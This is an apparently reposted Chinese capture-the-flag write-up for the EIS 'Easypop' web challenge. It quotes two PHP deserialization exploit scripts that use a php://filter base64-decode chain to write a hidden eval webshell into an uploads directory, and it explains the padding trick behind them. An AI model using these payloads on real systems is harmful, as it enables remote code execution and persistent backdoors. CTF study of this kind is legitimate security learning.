EIS web 学习记录
Posted bohb-yunying
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了EIS web 学习记录相关的知识,希望对你有一定的参考价值。
Easybypass
放在php新特性的文章最后了,利用json反序列化脚本绕过disable_functions来get flag
Easypop
来自https://zhzhdoai.github.io/
<?php error_reporting(0); class A{ protected $store; protected $key; protected $expire; public $complete; public $cache; public function __construct() { $this->key = ".php"; $this->store = (new B()); $this->expire = 6666; $this->complete="IDw/cGhwIGV2YWwoJF9QT1NUW29zd29yZF0pOz8+"; $this->cache=["1"]; } } class B { public $options; public function __construct() { $this->options[‘prefix‘]=‘php://filter/write=string.strip_tags|convert.base64-decode/resource=./uploads/osword1‘; $this->options[‘serialize‘]=‘serialize‘; $this->options[‘data_compress‘]=0; } } echo urlencode(serialize((new a())));
来自https://www.jianshu.com/p/763427ea0e4b
<?php class A{ protected $store; protected $key; protected $expire; public function __construct() { $this->key = ‘1.php‘; } public function start($tmp){ $this->store = $tmp; } } class B{ public $options; } $a = new A(); $b = new B(); $b->options[‘prefix‘] = "php://filter/write=convert.base64-decode/resource=./uploads/"; $b->options[‘expire‘] = 11; $b->options[‘data_compress‘] = false; $b->options[‘serialize‘] = ‘strval‘; $a->start($b); $object = array("path"=>"PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+"); $path = ‘111‘; $a->cache = array($path=>$object); $a->complete = ‘2‘; echo urlencode(serialize($a)); ?>
第二个脚本就是取交集使获得base64的字符串,但是需要算字数,因为要满足base64 4个字节为一组的形式,所以需要算$data之前的字节数,保持4个字节为一组将前面的<??>标签中的内容正常解码,否则影响后续写入内容。其实这里不用猜的,可以去fuzz尝试,在本地尝试字符串,先尝试填充字符串看能否base64-decode,如果decode出来完整的一句话木马说明成功。
第一个脚本不需要计算字数,通过
php://filter/write=string.strip_tags|convert.base64-decode/resource=./uploads/osword1
用strip_tags去除了XML整个标签内容,并且再base64解码写入。第一个脚本巧妙在直接$this->cache=["1"];,然后结合json_encode和serialize
解释下为什么可以,因为base64解码默认的解码范围如下
能解码的部分就为
s511IDw/cGhwIGV2YWwoJF9QT1NUW29zd29yZF0pOz8+
前面的s511四个字节为一组,解码为..u
因此就会解码为..u <?php eval($_POST[osword]);?>形成了正确的形式。因为用了
string.strip_tags|convert.base64-decode/resource
因此<??>标签中的内容直接被string.strip_tags去除
$data = "<?php //" . sprintf(‘%012d‘, $expire) . " exit();?> " . $data;
注意这里,不要认为 中的n会被算进去base64解码的字符数,因为这里用的双引号,不会对base64解码造成任何影响。
现在环境还开着,可以尝试去复现。
以上是关于EIS web 学习记录的主要内容,如果未能解决你的问题,请参考以下文章
ElasticSearch学习问题记录——Invalid shift value in prefixCoded bytes (is encoded value really an INT?)(代码片段
[原创]java WEB学习笔记61:Struts2学习之路--通用标签 property,uri,param,set,push,if-else,itertor,sort,date,a标签等(代码片段